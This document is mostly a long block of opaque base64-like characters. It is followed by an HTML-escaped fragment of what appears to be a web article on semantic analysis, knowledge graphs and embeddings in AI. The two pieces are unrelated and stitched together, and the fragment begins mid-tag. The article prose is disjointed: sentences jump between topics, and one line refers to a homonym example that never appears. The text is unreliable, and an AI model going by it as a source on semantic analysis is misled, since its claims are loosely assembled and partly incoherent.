dvl010mxXlm1N2u4seNHeZUvfCUouJaYfJ90OKDW7HlvAqazU4KiW1IOfhUeRTldtCaabt0y2t2OGYlyeU9KbbbLanHT8K92TtKSTg8YycYppRbm7VFbgxC4pKUhILzhcKQPVSuTUOVKydzTG2gE9VV1Kht2+6s3FLaUxtQhu3zsjKS8h5C2Fqz\/ZS4j76iJVcrVOaudifiuX2Y7OtymlSPEfdke1ENteEfhbbQ2Du8gr51c9+sdqvkMQLowZLAeZkAfCULaOUEHHPnTZNtWmoMqZqmVDiMSHGVOSJvggOYSdylHPmQBzjJIFTxZbQwMe208NpQvUOq5s5y3Q43joiXiban7dIbbUEg+Jh9pxfG0hWRg\/Kp442EuKBIPPcGoNf2bxqbSk2\/XNEmFBZUzLh2vG3xW23Uq8V\/wA+QCQgYwKngbjISExWktsgDYkDASPSoMnaCHNCcqw1\/YNWzdTOSdKPNsOOQYbu1LBKnHG3XEKO7z2od3HzwBjsKhjrfVLTwl3VUi6LW025HfdkMNpZLbZIStG5WQeAc4zzV8PKAGEHGDkAeR9aZ7\/BXcrBcrY3uSqVEdaQR2Cig4P44qbGzSHU9oKQ34UE0PbtQS9ENRL4WltNhTcRafiwhShtPA88+ZpgmML3qQ6PfQSlQ9CKmfTdapGhoTjhw8HH0u+u8Oqpr1fbSw57clJSl04UQMDPqfnWVqLd0pIH6LUwJCKa4qDTGlIzt8qa3lEqwTT7OYKSU7jkZFMshkpyrBrOC1Tyk5APevW0jOMcUYPoa2sDnkUE0mhtJQw2r93t5U4MxsjG0H681qhslRzjipBAt5WRxxnvionu4pSAWlGny5FkNrwBj3k7Rj3hyDn1\/wCqu7f0detitTW9rT+oXg3eobaS06oj\/WGhwDn+MelcYW2zqWUhCCr1wM1Y2kosu2XKLcYT6o7zCt4cBI2n\/OuQ+KPh+LXcJ8ZH8xvLT7KHKxhJHflfUjSt+RdogQ4UiQhG0n+Mf9gFV7+kR0Sb6o2prUNkYdVqG2JSlbbC\/CVNZB4SpQ7bCd5PfCcDyqB9H+rbF9jJdbeLVxhYblNZzk\/xAeh7\/fXSen7y3dIyZ0ZYSUqSVjzBHnivFPhvV834J11kx4cxxsf5hff4LmJo9jjG5c69LFf0fscfp9OK0XSwhcd5oR1pQUBxe14KKQNqwUkck1Ow6U9z3qV6204mEoXOAlKIkkgrZTx4bvYnjyIx+FRB1hQO0ggjuPMV9dY2rM1uNufGbDxf\/SgDNrQPZKm1707qUJUraOfKmxvcg4ycfWlDbxCsE8ZxVhCWb1etFYb0fxD8aKEJu8VVHiqrCiokLYHFntWTaVFe41rSrb5UBZCioUJCLSopIGRisN6v3u1aw8SQMVkpeRjFCY4UtiFDOa2KdOfd7Vob862pRkZzQgOIW5Dyj28q3KcKVFDhwee\/ng449eab5D7MSLIkSJrUVtttSlPrI2tYHxKzwOT51RWhL9bemM2533V\/jCJMabamX6BPN1i3OWZG1LqsHMZZSvlvASkZAUogZ1sLEfkRGvCY+ZrCug1OL48LzIH403WLUtu1DCenWyR4rbEuRBcykgpeZVtcSQfQ9vXyqL3zqrpmwwb0845KlyLNcI9odgxGfEkuzXm0uMttpyArcFpOSQMBR8qiem9YWDp3qXU9mvjFwirvGoPtIN+GhxMJp+IytTrqkLIS34oLZX2Cjn1w9mnymJz3Ahw6H4Jnr7jQ6S\/UsN6x9ddKXxtJFsv7EyM8R8KJngpAJ+a20JH\/AOzirQEkEgAjJGf8PzFRzXN8RpqCxIRp9V6uEyU3Dt0NG1KlyVheDvV7qEBAUdx5HPHPEXg9XnUaTg6m1LZE2kN6kXp29tqklxNucSpxveFYG8FwNDnAAcB7ClmimzYmy7euEB7YnbWlWW46Sn3sn6c14DuZWpIJBSTx8jj\/AB4rEkkgoJ7bgscp5HukHz75+76E15q\/VQ6fasu2o57kl61nSa5ZiJWAC\/DfQBsz2UsSEg+pCao48MkzvTj4KnLwBuJ4UX6uKVZ75OieE8UatumnZlsfQ2pSDLiymW3EkgYGG0JVzjIBxVxyS3LDsR8Zbf3NqBONwIORn6Zqo79q7W1tmaq0\/aJ8KfLul2t6LJLuD5ZjwmZ0dTrbbhSMp2lG1JHm4n15iOjpCul1vtCdM2lTd0v9v+z51uenuFg3pqY1FU86tw5QNy17iMZSRgDOR0jtMfPGxzjy2gq4mANhWp0hkuJ6b2WG4sFVtZXbzgk5DDi2QTnkn9l\/Ot3Uq93aw6A1HqCxFtNxtlrkyoinEBSQ6hBUMg\/IGo50uusy2dPLjP1aW0SLJdL17eYiFuo\/ZvrdWpoY3KBCjhPfj51jdtZ2bqNpLUVj01CvS\/aLPLQmRJtbsZkqU0UpSC4ElSju4AB8+3nizY7zlFh5Fgf1Vhrw5thTZl9EiHHlA4TJabdSSMZCkA5+Xemy4OqQvYpKs4Jxjyz\/ANdVRrPrJqGyHR1k0lpU3MXi0RJ5cKFqLjatrfgJwRtUPiKjnGMYOc0y6i6pX6wzJ1onrjLuVnu14L6Cz7r9taaUuG4gjlIUXYwKhzkK7nipv4JkzkOYB818X7FNMm3tLLtqKerrhb7E26tMA6dkKU0AdinA+nC89sgIx\/vGpBPHH1GRVO6LvVyvXVSw37U8guSZFvuMONIMIw0upKkLZKmzygK2ygnzUEBR78XLMb3JB94bRjlOM\/Oqus4pw5WROFHaL+tlTRO3NtRG6pIQoEd+ah1wIQTu9anNzbylXGfKobdmuVe751kKRR97vUW1404\/pS5tMoK1eDv2jupKFBakj1ylJH31KZCSlWCKROAK3pIHI4z9aSN9OBKlTRdFR7jpiU7FeQ9DkwlFpxByktlslJHy71jaJT0uywJK\/jditLV9SgE0xPaJusFiRadN3pEW0SQvMN9gOiOpZy54CiQUA88cgE1JWIyIUVmK22EIYbS0hIVnCUgAc+ZwBUkrm7aCFp5zWp\/O3aF7VeSu+D5Uo2c5z51ofGSRVcGkJmgW6La2Xo0JOxlx9yRs\/hWtWVfdmktyjNTGXIzw3JWnj+yfKnVadu7mkD6TuKgKD8woqWJxYdwVVXSM7GkKYdB3BRSfupnlNrIOBU81lCCVNym0Z8Xh35elRGQgHIxWbL8p4XQRvEkYcEyFJBwRWTYO7tSpbXvdqyZYyc4qK7UgFlLreM7QKmmn461qRuRlOeai1sYTuwan+nvC44xzVZzzdKVrQpjabcktApYCfmKf48fwxhIPzrRZi0hgEAKyMYp5Q2k42p71E5xvhSjhSXp6uTCvUSTEdLanXW21lJ7jfjkeddW2fWkrR9z9mnZUlfulv+NJ7qH0rlPSw9ldS63w4HErB9Nqgf8AKusJdotmrLVCmvIKkvNIfadQfeBPbB9Mg5Hyrmdd+C4viiL18emzt\/Qhc\/rENOEg6Uut\/UeFeprtvdT4toKMLUUEqJI7fIg0zLOeQPdxgZ74yeD92KQxLbHtzKWIzW3b3I43fWlRWdmCn+ddX8G\/DUvwzg+hK8uJN98D6ewWM7palKAODXiVpUcCsFHJzXifdJPrXXqNKsj1opNvV60UIWXhnzrS4vYR6VjaZpUgQ5hJfDecnnJryT8dUYpvWFhW8rFOMaK2FaRjFeeIfLFMc+5uRXmGGo0l9S1Aq8MDa2j+JR9PlS9p0rUdq9ye+R2xUzbKqJxTnxA17u7G4e98Q8yK2VGLtI9huVnnpJCBJMRe30dTtT\/7Wz\/nGn4vKJ25IJpI5RJYHhMcljfnWwLCRg0kZcKdxJJ8qiWs9RXmx6p0gIroNquk5y3zWlNj3lKbKmyF9042H8aWSQRDcUxSHV1ia1Tpq5WCWtnZOj+F+1SS2FBYUkLA5KTgA\/WoM10jl3q7w7tqy2aUs1uiOeKu2aeZWj7SWlJwJKtqEKb3HdsxkEZzVjb3EEblKSRxzxitmdpBI4JGfnzWli6pNiRn0Pb9Ewwh3aqTSnTTTMtE97SWqL1DudovZ9pmy\/CkKlSGceCpQIOUoQS2CCDtJFTux9NrTDvEnVWoZzuoL7crb9lT5ExtBZcjbyrwks42pQMkcDPvGon0ydXade66s5WR4s8TgM9t+Tn8FJH3D0qz0KkPlQbbUs7cJOfhx3zVbG1\/Kyodz3G7IJUcTW8ikz3XRVun6da06q43VpEZ9uRGmNTVCZHWg+4UPnKxgEjueCc5qCXLoKLfLiP6QvrSIKSXnYF48adHlSlApMp1O9IUsowDnjIziptb9faVvd5c07ab1HmTWkkuttEhQA748sj5U7q2hJAIGDj6GrWJq+TEdkZtvkKb02PsVymDpxpi76J04NO3e\/MXQMuFUQtNqQmNHPwMp3KUSkHdgknAwM8Ct2sNB2DXTtok31lbrVjl+2+ElQCZCcDLLgwdzZUlCin+JtB8qj19fnw+s+nVNPrEW4WqfCLJWQgFCkuJOO2RwBUg\/pPbWrpMtMiWiNJgRfbHy8rY2lskjdkkAjyqlHqby8yj5TfhNBDm7Sm23dKtBW3TVy0qm3PyIV3dD0lUqQpx8qSP2WHO6fDwnZj4dqfIYpu\/0fdOIMKPoK4IVcFT2JrxbuMpS5MpLjqXHnSoYUFBaEEKBB90VKodziXiOi4W+axKYdGUusOBaFfQp48qq28aqiN9U7TedRQpFlj2xq425LkscPjLIQ6kjslW8q+iT60zL1+fEYDvPzH390jxEKAAUq0p0r0HomU7KsFpeD7ynVqVJmvyBlz4jtcWU58s4zjzqTLkONqO0jle\/nnHyHoOa0onMTI7c2C62uO6ModbVuC\/oa1OKJx7x\/Gpn5Esp3OcSrAa0dBNJ01p6OxFjixwHUwFOLhl+Oh1UXcrdhpSwSgA4xjtgUy6g0Tpm9qnyplraTMuNvNseltjDwjFW\/Yk+WFAKz3yB5cVKneU803SycYBpGTyxEOY4ghBa09hV1aumlisLT6S7PusiTKjzHbhcpHiyStn\/ggCRwkDcnAxwtXrTpcAtaR7xO1ISM+gz+dO8wqAKQSB6UzyirnJNNkkdM7dIbP4pWgN4Cjk5khCuKiV3j+6VAd6m1xxsOKil0BIPGarntSjpQ+a2nJpqcSATj0p8nM4yfSmR4HxFccYqFTJG4hKle8M1rWB8I7Ctygdx4rUsHcaVCSOLKVACtbnIJre8BnsK1EccikQm93zpG6ohPFLpA74FIHvhNCkb0me9MokwnY4GVrG4\/LHpVdvNlLgyOKsp\/CVFZTnHf6VBL5G9lnLTjCXP2iR5AHyFVctoHQWrgyCtqZVgbq2R\/j24rBfxVuiAFfIqgTwtVoFp2gsc7gO\/NSuzoW1jB4zTJamQoJPHapdAth4AViqRJsqdoCmFhdIbG48YqVQ1hQGKhtpy2oMkngZqWwse6QTu8gOxpE+gpRZ1FDnu10r0bvyZ+mvsd5YVIgLIQP\/AMJXI\/DkffXM1uLgAKhtV54qzumeqFafv8eY6CIa1ezyPkhWMn7u\/wBRVjBlEM4vyqOfB68BrwugnWsKyRSZYCgc+VOC1NKICVbvcTj0IPINaHUJCeEj8K68GhQXIfgm5SEhOa10rW3uTntSVQIyPShMcFi4Sk4FFaySe+aKE1QiVfiuaqVElhpxhCpJAzhbSCN6c9uM9u9TZLjbwS4ed3wccZPr8uDVZWpiI7Y3\/AuP2hOvEdTbLLDocQhDwAU4nHZOM5Jx5VZLao6CuOlwkN4S3t\/gxjn5gY++svTGODfZaGZOMiYvUJ1Pdbo3c337da57cGKtLDyjHD7LyUnIOEnxWz3wcY+VbntUww9bZPiupbu8hktnyU2oLStOR2wrBOcYzzit2rmL47MYFj0WLwpxtSXpLlxVFaBHCEuhBBWPPApikWzrBqOQ9anbpYLHEtzLTpTb4ynnF99rXiLUdo90ZPfgCs9+VPjSuAFrIlJBsJddHr3NmX+0yHcQoqimGAEoX4qEJfQpKs88hSQe\/u8eWdTU6TpK8ss2ibMm29TUeW9b5bqpL5bcKyXmVqwrCNgynB47UluNitsNoTNW9YLmS8kLU2H2WcgDg7UpKuxNNcaF0vlupNuc1PfnW0eEhbanlkNjOEhRSOBk+fnVKXLma7exgs+7iP2tRbie0\/aXuMiB1Fm2s3d6TbLvARNgJe3p2HxFEoAWAQSVKPIBxtHlTv1KiLkWKHNaZXmzXONOB2kHCVlKuO\/wrP4VHTouzzwEp6ZX47wNsl6YGVIx2wd2cCrAtXjNwER5URDSYzaWfeUXSpPPcngnIqbBbPmY78aXg9hzbsfmU6jIwtVR9P2tUqsWpVSNbl\/VU1haWoZcKnGnm1bifeylIKeBt9aX6l1rqa+6Ru1y05KfiqP2TBl8KbEN1QIlkEjg5wCoZ+LgeYfup0qVaXYdwOtbrZ4zpVHWxaoAcelOZJA3gEp93HyqJxNMpuMZTbWm9d3FEgrW4J89mI06pRBKynYCc+73HnWXMcnDLcVpJoEO\/wBRPR\/JVywxja1SC0SYVh1229JuLdxS\/a4tvul0QQpn2r\/i\/fHB93Az696tVCj4iUoVg5AUpPvcYwDx6Hn7qpq3dNrwxHcgWzTMK2sg7i25eHlHJ7KUB7qvuqybMrUDTaWb2u2bG0BKG4bSkjgYzlRz+FaugOy3RvhyYyAeip4mGqcqkagLtB0XmxT48vRU+Qu9SEseG2th73VKKxy4cAKwM157T1EtOpZlrtMqQi1XC+yoYfILgcck4cS6kqzkpbyQQQkZx34q7A6t1rw3UoU2VFAJOU5PcEHg\/fUG1Ra9Uqk3K6xdfXhqG0EuMW63Q2i4NoxhC1d1f5VDmaLNAz1I3u4PTf7qCSIg\/Kobqa03qDLgxNQTZV0Rp1+XDjzU5S++JDAXGUrbzkOAgn0796kN30Vdb4nU67u6TMuS4MdhC1hDS2GfDcW2gnONygsEccZJ45pngQ9eXNgSWGdfFpYSkrmXJiPuKexI2qpMjTWqpuqWLfJvd0ZdjxHJqFv3hCi3uOxStwbxnnbj0UawxIIjJbHv33V+E0scG9KL2Q6w0lZZWo7DIk2+NqJ192NGYb3swiJYSADykDw0rqdRVTNX60gTNUMMuMRp1whwm8JAUltLDjaiDwokhXPIwKy0Bpi6uaMtL9u17dIylNqQtkJbW02tK1JXxgE+8CeT509CdddPq9o1S1Lu7EfJjymrdu8MlJSogoUeSD6VewsGRzWRzucGcG\/\/AInwRhvLlHf6T6ot3Uz+grQSzBfuSX2Mxh4YgJj5VtKRgqLg5xzVilAbShOwAlAUTnJOfL7jmq3vXUbTt11lplVnelOSoktxkMuQnGyhp5JCslQ8j\/KpxcLvDgusszJbTJfdEeOFqALrhClBKfU4So\/dXTaXvLXtBsA8K3H2XeEreUAnBNIHwTyK1z73bYEiLCnzGmHpzq2YqXFAF5aUbyE+p25P3VqkSQAcHitPkKWwkcv4qaJ3b76WPvFfvDimyW6QOeaTcAaR2mSckkHAqPTxjcPnUjlKSd4JwEjcSajswF4q8HCz3wFDOPWmO45UoHCikxCtx4pmlJVvPHlUknJByAk58qYpbShlRHwjKh2Kf+uoWjcaTh2mKXNiQ5EaPKfS25NcU0wlX76wgrIH+6kn7qydwRgEH6VHepDTC7Kzd04VJsM+LcmQk+QdShYPyKFq4qQKW2EKWCEobwkeQwBwefUU8sAbuCk7SVzlQx5GsXPhNeOubQTtVyCQQkkY\/CtIcV2UOT5A9qYeEqTu+dN8hJOSBTi8kjOe9Mt7vFssjMZ+6zERmZUgRkuLztSsjIyfIfOgAk0E5pAC1PoJGCKjGsInixm7jjlnCFfJOcD\/ABFSuQcAggghJPPGfp602zEsuxXm5QAaKFb1K7JGO5+nf7qZMwvFAKwxwBBKrNfxVtiKAXyaRSXWivfFlMyGEkoadaVuSoChiQQvJNZb4vT77W9G4bAp3Ym0rCSD3FWHaYjZwc8VVFjuIaIJV5VZen7iMpVuzg9qziKKvt+YcKXQ4aUELbwfXcPKpXa2MtjITz22jFRhmf4rIGAMnyqTWR9JShBPIpLATtpT7FiKCslNPEF4khpJBUTtAPrSOOQVAA04mSA42WI7SCkjk+vrSbq6SV4KvjpjqdN3sv2c+oqftqEp3kHK2VH3PvHIqZLUkBQJ5ScH61QugdQqsWoY8lxwJjPEMyvQNE9\/uzmry8ZCk7g4lQcAU1tIJcSRkFOO\/GK6jTZvtEYA7C47VMYYk5eOnLB0FScik6vd+LitgcS61vadQtOSMoUFDIJBwRweRSVzerjPatG+SPZUQQeli4oKOQaKxooSpgt1rtlvU45brfGiF05c8FpKCr6kDJ\/GnJtZHupACfQU1MzhjvSxuUlQ471A1oZw1IeUuT7x3EDj5VFtb6Ott\/fiXecie4xGwiXHhvuNeIznIO1BBUQd2eeyiO\/NSBuRweazMkn948elRzwtnZse0FMLL7TTpPSejLdbY0u16djAblhuQpvK3Bk8+\/kjH41JtzaU4SAkDgbeMfhTeuUpQ5V27ADAFa\/aVfxU3HxooG7Q0JhjaFvecSlRUSpQAJxgnny58qqzTuoL2915vSLlIfXaLiy\/Z4DJXlCJMLwXFHHbK0vuEHH\/ABdWSXQTknyI71UfU5OhNO6j\/pg0tMDVdrZTekOOyVNMzWkLCHGEpJ2qcLYX25xtroNJbE7fE5vLhQrx9VWmDmuaW9DtXSl8KQhSlpWBhedowTjAPy4qnervUW96L1jDgRrpLQ3Jh22XHYQ1vbUlucBMKiQShPgudz6Jpb081l1CuGrLlZNaRoggOyJZsk5iOWi80ypK0qWCSCFMvIUCOPcVS3X9jRe9SafaJJTdYV4sTzieyUux\/ERk+m5j+dS4mJDg5josgB3HY\/7SSEu+YKdXbUVrtL1tYkeKtVzkIgxPCjqWCopKkqUQPdQACSsgDGMkd6xt2orJf2Xpen7rGnMsPrjuLYfS6lDieSglPGQCk\/f86pDQ+jNeXbU0bWurVSWkTvaWpMKSpSkNIS17AUIx8PitJ8QY8iK80Le4HSiXcbHZbZqd3Q0GK48pMuzeDIhSgQhDTbvAkeJlKEgjcFBPlnFqfSWXI2GTc4AEDxR\/4TI5HE8hWl1Mu9+svT\/UV+sRaVPtlrkTIyVthY3tIK\/hPBylJ++maH1KYe1S2w5cIKtPTrEu5xZKHh\/q77Cx7U04vsdqHWjgAEe9nPGJNaJMjUWn2pOoLC5aV3GOoSYD7iVrZaWCClZTwSUnnHHOK51tHQjqXb7RH0Fcm7SbTDcuE+Nci\/uBU8kNiI4gDP7Tw23Cr0Kk9xTNMw8bIhIyn7CP6p0kr2\/cFq99G6903rj2lWn1y1IihBC5ENbKXm15w42XB+0QSlWFACo71e1jL6cyLDqW1WVV6n3J96ytW1Kyjxd7Ze8RSsHahBZyo4OAT9aYdFad6t6bcmOwtNaZtLtxVl5+ddZNw2EEkIaSkAIbG5RSjPGak2qLPrhlWm9YMCHfLnpuY65JisM+Al+M+wpp0Mgk4cGQU7jzgiqWVgYYmOwgivPugOdI35hRSDpdrzTwdOirnqC0t6icedcbt0aUHAsubXT4auyk7nFgeeEjirH8XY6EMpCFqR4gQlW1Wz+PGMlOfXj5+VUbcOlN91JfpeodJ2i36ctsm4xdRITcoobnNXCM2EJSkIzsYX7qiSfNWPKlugOjWo9O3CBrC8yEI1GbzKcmqE5bzX2U54gRGTn+Fe1YB7bhTjpONBjtIms0OPy6UrXvAA2q420HflCEFWdxUvAA+ZODgDvVI6u6r6Gv7umlwrm603adTRpTi5kZTCXYwQ8lTzSlj9o1z8aRjkccirtWhtZLbzJdbUlSVoH7ySMEffnH31z7qbol1F1Ppq09OJC9OIten1oRaL6sumQiOOA2trGDhPcZ2nA7VJomNhiS5ztB8p0jXAfIni+6t05qx7SWrLNPXKjaf1Q1HkqdYUjwzJYdYQohaQdpLreCMDiny8dTtFWOXcLdfL6zAet0yPb1l\/3UrfeTuQlGNxVwFA9sFJzVTXnRWvtKwH+mlvXplv7djSrwuTCbfceU3C8NxtR8RWGipzwkgDON1S3T3RnTV+nS+oqrs7JjartrklhlTYUpp6YyjxH1K7Lc5cIwBjxDWnladp+wyPlNHqqUDJJGkilI771N0HYb+3pS46kiN3VamkLjpKnFNrdx4aVFI2pJyBgnz+6naYjCloXwpJwR6fWqcuPRjUdj1pcLza9M2bUkOVPNyYlTLm9FdCyUlLbzYBQ4W1j3T+7gVY1sl9Qp0hJ1Rpyy29tXxrj3Bbzn3DaB+JrHz8PFja37M\/dxzfurLHOcLco51UuN3tGli\/ZLsza5EqdEg+3vMBxMNLrwQXiPMDcOPmDUS6a3m7SLnqrSV+1F9vSrDPaWzJ8JDK1Rlo7bUZ5S4Ckkccjirdutrh3CFLtNyiIlxZjSmXmnEcbFDBB+7zFQ+J020hYhBNqs7Udy3LcXHdaUpKwVnKtxByvJ8lZFUmSQDGMT2nd7p3zeCm+9xSiFJWiWmIoMrIfXjaydp9854wO5+Qrmi9W\/WvTt2HIbms3aVfJHhJv0WWX\/ABUlO8thlxZZQs7QUrB+HI9a6yuMRtxC2nmA824kpW2RkKSRggjzGKq+X0P6YGQZCtGxcYIS0vcW059E5wPuFPwcmHFsStsFTG64VT611hqEWaXpuXp9t2TFsbcy9uCSEBCXAlGW9pI3BxeSOfhP1prN01rbrjZ7Ppy6zrhFk2+LcXDMQw4ENuq94FatpS2AFZxk9uavKP0\/0xamX\/s2xxUJkNKjOoWCpK21EkpOSfNRpkvPTnSU2PFiz7FHkJhN+Cx4gOUN53bAc\/DnyqUZmG0Eenf1TWtffaqK\/wCsNcSo9wNvdbt0SBLMOTIbZJKm33MofSfPw2tqsg\/vVlJ1bf03iFpfRk5u4w46WXpV0nvNnx0uE8grAG0AEZHnVvSYrbSPDbbSlGNpSkYGMYxj6ACmC8aR0xfHmpV4ssaS6wjw21qTgpTknaCPLJPHzqs3Lxw4h0dA+ymaCO1mLhb5q3EwJjD4b5IZeQ4lIJIHw9iSk\/hUd1dHW9DjPJaLiI86Op5vuFtFe1QI7Ee9T\/DtdqtLAh2qAzFZGfdbTjP1Pc+dDyUoJUkDJGPu7\/5Cs4FrXkt6TlVtr09qNMdNxuqXnLnZpLUKM0FnCojRCVqAzg78g8+lSfUlvfudhn26JjxpDC20c4ySO1EHVPiT7nb7tAVbxDlJZQ6tzh0KKi2r7wncPlThHdanxUSIa23mXcbHW3fiqzJJJYcW9KRrhdKqZGkrtAZdvciAxCZfWVKgMq3GMnACeRxk4JPFNW5aVZOPlirZFzs93fl22HIZcdbyiS0lWSgngk\/SqtucNVvnvQ1\/E0sgj09P5c\/fWbmtLpPUf5WphzFwLXeEogSFJOdxzVg6cu2Sn3h3qsmFEK4NSKzzCyQpKiMGsbIZXIW9DIKpXZa5viNp5qZWZ\/ODu7VU+nLqFpG4k+7\/AJirAss7eQEHA4zVEm1aVl26RlKcmnZpIUQrJ9ai1rlp91KualUNxC0jjypAoHdpXHc2KxuIyMfX5UtccviIdreh9RLTAlR5brMFu7S0sqhsvseC6tsHG\/w8IUgeZKvSm3fsV8iCKlPTlen39StRNQWaBOako8FtUqKh4oVkEBJWDjOPL0ro\/hrVG6flhsotjjSydXxDkwkjsKW9AvCZ6U2mC08HfZHJUYrCtxJQ+sbiMnbnAVyexHNTp33exB+f\/ZUC6P2S0WWw3JMa0xY8xi+3OI8620lKlBMleASB2AIGKnqlt42hIAHAHpXTZpY7IkLP8y5KHkLVRRRVSipeFWKropHJxxXjd+UlRwRnFcsr\/TU0eo5TpSWD\/wDqif8AoVix+l5p68SmrfD0m+68+sJQly5tlOfU5RgfWqbp2NFm1ZbiucaBXWMXUiCSFOJBB9adGboFjxSoAeZqn9Oa30ilpqfc9RWhDxb3+z\/aDa0oP8IPGfwpyb61WRbKwzdrChKiQkKlNZGDj+KqLtSp1BvC0I9LYW29\/KsG56kaiKPjPIQU8+8ceWaRN6wZf4bfbV9FCuR+sv6Ryft1izQH4zvgFS3lx3AUq44wocVEIf6RpjgBxlSsekhP+Yq3FktkFkFUZsIsdVrusakz2Wn8aS3Qae1VD+z9TWmBc4zag4liWyHRuHYpBBANcfQf0rLPD2+Lb5pz8XhvM8\/85QqTW39LzQbhHtUS8Mr88oYWPxDlWGZRicHMJBCqSQP+6KXXsC4R2orEaGw0wyy2lDbLYAS2kAAJAHAAHHFLBPC+NwxXMNr\/AEw+kSPdk3O5MlIwrdCUcevwk5+6pBC\/TD6CO4K9XyG0+ZXbJIA\/BFTGYu+YmyVHsI4pdApf5zmlCZII71SLP6XH6Pakpz1CbRn+K3yh\/wC6pzj\/AKVX6OWz9p1YtiCTnCoksH\/+mm+o8dFGw+yt3eDznvWuqs\/7qf8ARz8ur1m+9mSP\/dV4n9Kf9HdRCf8AS1ZhnzKHwPx8OmU0c0k2O8K0l9vvob7GqxP6T\/6PC+P9MOnk\/NTjgH80Vif0mv0ff+L6xaZV6\/6yR\/ikU4O90bD5CtKsVKTg81WrX6R\/Qh5IU31d0wQfWaB\/lShHX\/og77qOrGliTwP++LfP86Swm\/OFPtyfWtbygU8GoUjrZ0dc4R1R0uT6fabX51mOr\/Sp\/wD4DqPppzb3xdGePxVSkl\/yhOTT1Nbfsl10\/wBQ0MPyIlnMqBdGGmytSoMlCQVgDvscQhWPQqPlWfSP2hHS\/SyFqcKU29rwPF+MMJ3eFu+ZQUn76cj1S6aLKsdQtObVDBSq6MkH7t2PxzWk9RunYGG9cadCB8ITcmAMeWAFVdmymvxm49dJgbRslO73xUidBOcCmtXUTQDhwjW9hJ9PtFn\/AKVajrjRSidusLGc+lxZ\/wClVFpLRQT0pkIVzhJpA8wSMkHmsXdZ6OPH9LbLz\/8AmDX\/AEqSuas0qse7qizEev2gz\/0qCbTg1YyGBzTZIi7+MUrd1RpEgq\/pVZ\/763+dJHdS6SPI1TZ+f\/PW\/wA6Q8p6apkEbT3pjmxwhODxUgmah0vjCdS2lWfSa3+dR+53rT6kkovttV9Jjf8A0qjIpKDSjM9ockU0PAhXIp1n3mxFKyLzA4B\/8ab\/ADpgfvllP\/1xB\/vCPzqNwJ6TwbWbwJTwKRqBHehy\/WVIx9rwjn0kI\/Okjt6s54F2hffJR+dN2uSqLaq0SvUSLk2qUlDUyTFkcnCstJUlQH1SQK32izpsEqfb40ZDUFbyJccNj3G17QlxIHrwSD57zTu7eLSTgXWFx\/5y3+dJXrxaVAn7UhgfOQj86smeR1Ap3y+6gKLXqu2TIIh2UJZtDzynJLchKXZLTrilFCccng5INZa6hNe0RLm2laUSE+EveMbcZOCPLvipk\/eLQE\/\/ADrD59H0\/nUe1VIts61LQi4RVqQd6MPJ7\/jUGVc7aAVnDc1j6tQQY8qVx5O1QOec03iVFx\/8oaHyKx+deiTHJwmUyD5ftBWS9jhw4LoGTNaAbCn1kuAASCfKrDsNz2FJzxkc1Sltu7DC0pVKaJ+Tifzqb2jUkAJShU+Og5B951I\/zrPlgO7gFXWZLHCyQr3tVwKtqiR2qXWyYSnmqYtWsbOnaF3mEMDHMhA\/zqY23W9hSUoVfoA3EDPtLeP8ahMT\/ZG5h53BWMJHnmlkecY60vtrWl1HvIUjggjsc\/XFQ6JqzTalAK1La8f+to\/OnBOrtKgY\/pLa\/wC9o\/OgNcwh1HhI4xkEOcKU50P1T1FZNc3C36gtkT+i12uEqaq4tNurXbHnSotodUBtX4wTkgcghPrWix9V+rN8165oe1260rdahTgl9pwBpoGQDHmOpH7RO1opAb+NROe2aculXVDSsF5y0SdV2pDTqvGZWZzSQhQ7hWVYxwMHBPftUQtMjpTI6mK0pqK6WKWn2S6rXKVMSlbinJTcht8PIWMOLadW2TvJGw4xXqujaji5UfrSsG4Cv+\/quGzsX7PKWxmwrT6KPvxtKL0jdGpLeoNPSno14bmPlTjj6nFLEhK18lt3cVAeWcUUl0fH6L6DfmStN6rtKX54Ql92XfBJWoIztALiyQBnt8hRWXkOxpJS7cRfsqWxy+Mm416HCM\/nWNFUlbsrPxl96PFJ7gVhRQgknsrMvKIxzt9MnFeeIfSsaKW0WV6VnyAFe+Kvbt3HHpWNFIktZFwnGfKjxDnsPwrGikoJdxWQdUM486A5t7J\/maxopUbis\/GV6D8M1jvryihG4rLf6DFebz6V5RQjcV6FYOcUBWPKvKKEiyLqiMHOPrQF48qxooSUs\/FV5cfQ0eKqsKKEUFlv+Qo8T5VjRQilkV59fxo3q9T+JrGihKsvEP8ACPxP50eJ\/YH4n86xooQs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width=\"304px\" alt=\"semantic analysis in artificial intelligence\"\/><\/p>\n<p><p>The study carried out an analysis to determine what applications in real-time can be benefited when we apply Blockchain and AI together. They state that this combination increases the security, efficiency, and productivity of applications (Ekramifard et al. 2020). The study of Mufti et al. mentions the latest trends and key developments of blockchain (Mufti et al. 2020) in various domains specifically in the finance and banking sector. The Knowledge Graph proposed by Google in 2012 is actually an application of semantic network in search engine. Examples of the use of semantic networks in logic, directed acyclic graphs as a mnemonic tool, dates back centuries. The earliest documented use being the Greek philosopher Porphyry&#8217;s commentary on Aristotle&#8217;s categories in the third century AD.<\/p>\n<\/p>\n<p><h2>Semantic Analysis Techniques<\/h2>\n<\/p>\n<p><p>Semantic analysis helps in processing customer queries and understanding their meaning, thereby allowing an organization to understand the customer\u2019s inclination. Moreover, analyzing customer reviews, feedback, or satisfaction surveys helps understand the overall customer experience by factoring in language tone, emotions, and even sentiments. Computers analyze the structure of sentences, paragraphs, and entire documents in order to understand and interpret them using machine learning. Semantic AI is an advanced form of artificial intelligence that focuses on understanding the meaning and context of human language. Unlike other types of AI, which are limited by predefined rules or patterns, semantic AI has the ability to adapt and learn from new data, making it a more flexible and powerful tool. Considering that the information in legal texts is mostly organized by legal facts, this paper proposed an AI-based semantic assist framework for judicial trials based on legal facts.<\/p>\n<\/p>\n<p><p>Semantic Analysis and Syntactic Analysis are two essential elements of NLP. In Sentiment analysis, our aim is to detect the emotions as positive, negative, or neutral in a text to denote urgency. In that case, it becomes an example of a homonym, as the meanings are unrelated to each other.<\/p>\n<\/p>\n<p><p>Knowledge graphs might be compiled for any number of domains including regulations, <a href=\"https:\/\/www.metadialog.com\/blog\/semantic-analysis-in-nlp\/\">legal matters, or<\/a> products; human expertise is pivotal for populating these applications with the most relevant, curated knowledge. To that end, the second way humans fortify deployments of semantic inferencing is by assembling the vocabularies, taxonomies, thesauri, and rules on which these intelligent systems reason for applications like text analytics. Modeling multi-relational data like semantic networks in low-dimensional spaces through forms of embedding has benefits in expressing entity relationships as well as extracting relations  from mediums like text. There are many approaches to learning these embeddings, notably using Bayesian clustering frameworks or energy-based frameworks, and more recently, TransE[43] (NIPS 2013). Applications of embedding knowledge base data include Social network analysis 